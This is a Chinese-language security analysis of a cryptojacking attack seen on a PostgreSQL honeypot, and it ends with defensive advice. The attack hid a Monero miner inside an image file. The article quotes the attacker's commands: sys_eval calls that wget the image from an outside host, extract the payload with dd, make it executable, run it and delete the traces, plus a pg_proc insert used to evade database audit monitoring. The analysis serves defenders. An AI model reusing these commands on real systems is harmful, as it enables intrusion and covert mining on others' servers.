深入探索数据库攻击技术 Part 3:如何通过Scarlett Johansson的照片令Postgre数据库开启门罗币挖矿之旅
字数 1874 2025-08-29 08:32:02
PostgreSQL数据库攻击技术深度解析:通过图片隐藏恶意代码实现门罗币挖矿
0x00 研究背景与蜜罐系统
StickyDB项目是一个专注于分析和共享针对数据库的各种攻击方法的研究项目。该项目通过建立数据库蜜罐网络来诱骗攻击者,从而了解他们的攻击活动和技术手段。
蜜罐网络示意图展示了攻击者如何被诱导攻击这些伪装的目标数据库,使研究人员能够:
- 收集攻击数据
- 分析攻击技术
- 提升数据库防护能力
0x01 远程代码执行与DAM检测绕过技术
攻击者针对PostgreSQL服务器采用了一种巧妙的技术组合:
-
Metasploit模块利用:
- 使用专门针对PostgreSQL的Metasploit模块简化与操作系统的交互
- 在运行时创建恶意payload
-
二进制文件转储技术:
- 通过
lo_export函数将二进制代码转储到硬盘 - 使用间接调用方式绕过数据库审计监视(DAM):
INSERT INTO pg_proc VALUES ('obj6440002537'::text, ...) - 通过创建的函数
fun6440002537间接调用lo_export
- 通过
-
绕过DAM的关键点:
- 不直接调用特权函数
lo_export - 通过向系统表
pg_proc插入记录实现间接调用 - 使用随机生成的函数名(如
obj6440002537)避免检测
- 不直接调用特权函数
0x02 系统侦查与资源探测
攻击者在获得数据库访问权限后,会进行详细的系统侦查:
-
GPU信息收集:
SELECT sys_eval('lshw -c video')- 检测系统是否配备高性能GPU
- 确定挖矿效率潜力
-
CPU信息收集:
SELECT sys_eval('cat /proc/cpuinfo')- 获取CPU型号、核心数和性能参数
- 评估系统计算能力
-
远程代码执行路径建立:
- 通过SQL函数包装C语言函数调用
- 使用
sys_eval作为从SQL客户端调用shell命令的代理 - 基于sqlmapproject的二进制文件实现系统命令执行
0x03 恶意payload隐藏技术
攻击者采用了一种创新的方法来隐藏和传输恶意代码:
-
图片隐写技术:
- 将恶意二进制代码附加到合法图片文件中
- 使用Scarlett Johansson的真实照片作为载体
- 二进制代码被隐藏在图片数据中(具体位置:左肘下方区域)
-
文件合并方法:
- Linux系统:
cat myExecutableFile >> myImageFile.png - Windows系统:
type myExecutableFile.exe >> myImageFile.png
- Linux系统:
-
托管平台选择:
- 使用imagehousing.com等合法图片托管网站
- 上传看似正常的图片文件
- 利用网站不检测图片内容中隐藏二进制数据的特点
0x04 攻击执行流程
完整的攻击执行流程如下:
-
下载恶意图片:
SELECT sys_eval('wget http://www.imagehousing.com/images/art-981754.png') -
提取payload:
SELECT sys_eval('dd if=art-981754.png of=x4060014400 bs=1 skip=64000')- 使用dd命令从图片中提取可执行文件
- 设置跳过64000字节的偏移量定位payload
-
设置执行权限:
SELECT sys_eval('chmod 777 x4060014400') -
执行payload:
SELECT sys_eval('./x4060014400')- 创建二级可执行文件
s4060014400 - 连接到门罗币矿池(monero.crypto-pool.fr, 163.172.226.218)
- 创建二级可执行文件
-
清理痕迹:
SELECT sys_eval('rm -rf art-981754.png x4060014400')
0x05 安全检测绕过分析
对攻击中使用的不同形式payload进行防病毒检测结果:
-
恶意图片URL检测:
- 60个防病毒引擎中仅1个检测为恶意
-
恶意图片文件检测:
- 60个引擎中3个发出警告
-
提取的挖矿代码检测:
- 60个引擎中18个识别为恶意
攻击者钱包信息:
- 地址:4BBgotjSkvBjgx8SG6hmmhEP3RoeHNei9MZ2iqWHWs8WEFvwUVi6KEpLWdfNx6Guiq5451Fv2SoxoD7rHzQhQTVbDtfL8xS
- 累计收益:312.5门罗币(约90,000美元)
0x06 攻击目标发现方法
攻击者寻找PostgreSQL数据库的途径:
-
本地网络发现:
- 使用Nmap等工具扫描网络
- 识别PostgreSQL服务端口(默认5432)
-
公开暴露的数据库:
- 通过Shodan搜索发现710,000个具有公共IP的PostgreSQL实例
- 主要托管在AWS等云平台
-
暴力破解攻击:
- 针对默认的postgres用户
- 尝试常见密码组合
防御措施建议
针对此类攻击的防护策略:
-
数据库审计与监控:
- 监控
lo_export函数的直接和间接调用 - 警惕通过
pg_proc表插入的异常条目 - 记录所有调用C语言二进制文件的函数
- 监控
-
网络层防护:
- 使用防火墙阻止数据库服务器出站互联网连接
- 限制数据库只能与特定应用服务器通信
-
暴露面减少:
- 避免为数据库分配公共IP地址
- 若必须公开,严格限制可访问的客户端IP
-
安全加固:
- 修改默认账户和密码
- 定期更新和打补丁
- 实施最小权限原则
-
文件完整性监控:
- 监控系统关键目录的异常文件创建
- 检查图片文件是否包含可执行代码
通过实施这些措施,可以显著降低数据库被此类攻击入侵的风险。